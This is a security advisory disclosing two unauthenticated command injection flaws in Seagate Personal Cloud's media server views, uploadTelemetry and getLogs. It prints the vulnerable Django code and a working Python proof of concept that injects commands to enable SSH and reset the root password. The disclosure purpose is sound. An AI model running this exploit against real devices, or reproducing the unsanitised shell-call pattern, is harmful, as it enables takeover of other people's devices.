SSD Advisory – Seagate Personal Cloud Multiple Vulnerabilities

blogs.securiteam.com/index.php/archives/3548

Vulnerabilities summary
The following advisory describes two (2) unauthenticated command injection vulnerabilities.

Seagate Personal Cloud Home Media Storage is “the easiest way to store, organize, stream and share all your music, movies, photos, and important documents.”

Credit
An independent security researcher, Yorick Koster, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
Seagate was informed of the vulnerability on October 16, but while acknowledging the receipt of the vulnerability information, refused to respond to the technical claims, to give a fix timeline or coordinate an advisory

Vulnerabilities details

Seagate Media Server uses Django web framework and is mapped to the .psp extension.

Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol.
/etc/lighttpd/conf.d/django-host.conf:

```
fastcgi.server += (
".psp"=>
  ((
    "socket" => "/var/run/manage_py-fastcgi.socket",
    "check-local" => "disable",
    "stream-post" => "enable",
    "allow-x-send-file" => "enable",
  )),
".psp/"=>
  ((
    "socket" => "/var/run/manage_py-fastcgi.socket",
    "check-local" => "disable",
    "stream-post" => "enable",
    "allow-x-send-file" => "enable",
  ))
)
```

URLs are mapped to specific views in the file */usr/lib/django_host/seagate_media_server/urls.py*.

Two views were found to be affected by unauthenticated command injection.

The affected views are:

- uploadTelemetry
- getLogs

These views takes user input from GET parameters and pass these unvalidated/unsanitized to methods of the commands Python module.

This allows an attacker to inject arbitrary system commands, that will be executed with root privileges.

/usr/lib/django_host/seagate_media_server/views.py:

```
@csrf_exempt
def uploadTelemetry(request):
  ts = request.GET.get('TimeStamp','')
  if (checkDBSQLite()) :
    response = '{"stat":"failed","code":"80","message":"The Database has not been initialized or mounted yet!"}'
  else :
    if ts == "":
      response = '{"stat":"failed","code":"380","message":"TimeStamp parameter missing"}'
      return HttpResponse(response);
    cmd = "/usr/local/bin/log_telemetry "+str(ts)
    commands.getoutput(cmd)
  return HttpResponse('{"stat":"ok"}')
```

/usr/lib/django_host/seagate_media_server/views.py:

```
@csrf_exempt
def getLogs (request):
  try:
    cmd_base='/usr/bin/log-extract-manager.sh'
    uID = request.GET.get ( 'arch_id', None )
    time_stamp = request.GET.get ( 'time_stamp', '' )

    if uID:
      (status, output) = commands.getstatusoutput(cmd_base + ' status ' + uID);
      if ('In progress' in output) and (uID in output) :
        return HttpResponse ('{"stat":"ok", "data": {"status":"In Progress"}}')
      elif (status == 0) :
        return HttpResponse ('{"stat":"ok", "data": {"url":"%s", "fileSize":"%d"}}' % (
urllib.quote(output.encode('utf-8')), os.path.getsize(output) ))
      else :
        return HttpResponse ('{"stat":"failed", "code":"853","message":"Id not recognized."}' )
    else:
      (status, output) = commands.getstatusoutput(cmd_base + ' start ' + time_stamp);
      if (status == 0) :
        return HttpResponse ('{"stat":"ok", "data": {"archiveID":"%s"}}' % (output))

    return HttpResponse ('{"stat":"failed", "code":"852","message":"Zip file not created."}' )
  except :
    return HttpResponse ('{"stat":"failed", "code":"852","message":"Zip file not created."}' )
```

Note that both views contain the csrf_exempt decorator, which disables the default Cross-Site Request Forgery protection of Django. As such, these issues can be exploited via Cross-Site Request Forgery.

Proof of Concept

The following proof of concept will try to enable the SSH service, and change the root password. When successful it will be possible to log into the device over SSH with the new password.

```
#!/usr/bin/env python
import os
import urllib

scheme = 'http'
host = 'personalcloud.local'
port = '80'
path = 'uploadTelemetry.psp'
querystr = 'TimeStamp=%3b'
#path = 'getLogs.psp'
#querystr = 'time_stamp=%3b'
password = 'Welcome01'

cmds = ['ngc --start sshd 2>&1',
      'echo -e "%(s)s\n%(s)s"|passwd 2>&1' % {'s' : password}]

for cmd in cmds:
   print 'Running command', repr(cmd)
   cmd = urllib.quote_plus(cmd)
   r = urllib.urlopen('%s://%s:%s/%s?%s%s' % (scheme, host, port, path, querystr, cmd))
   print r.read()

print 'Log in with', password
os.system('ssh -p 2222 root@%s' % host)
```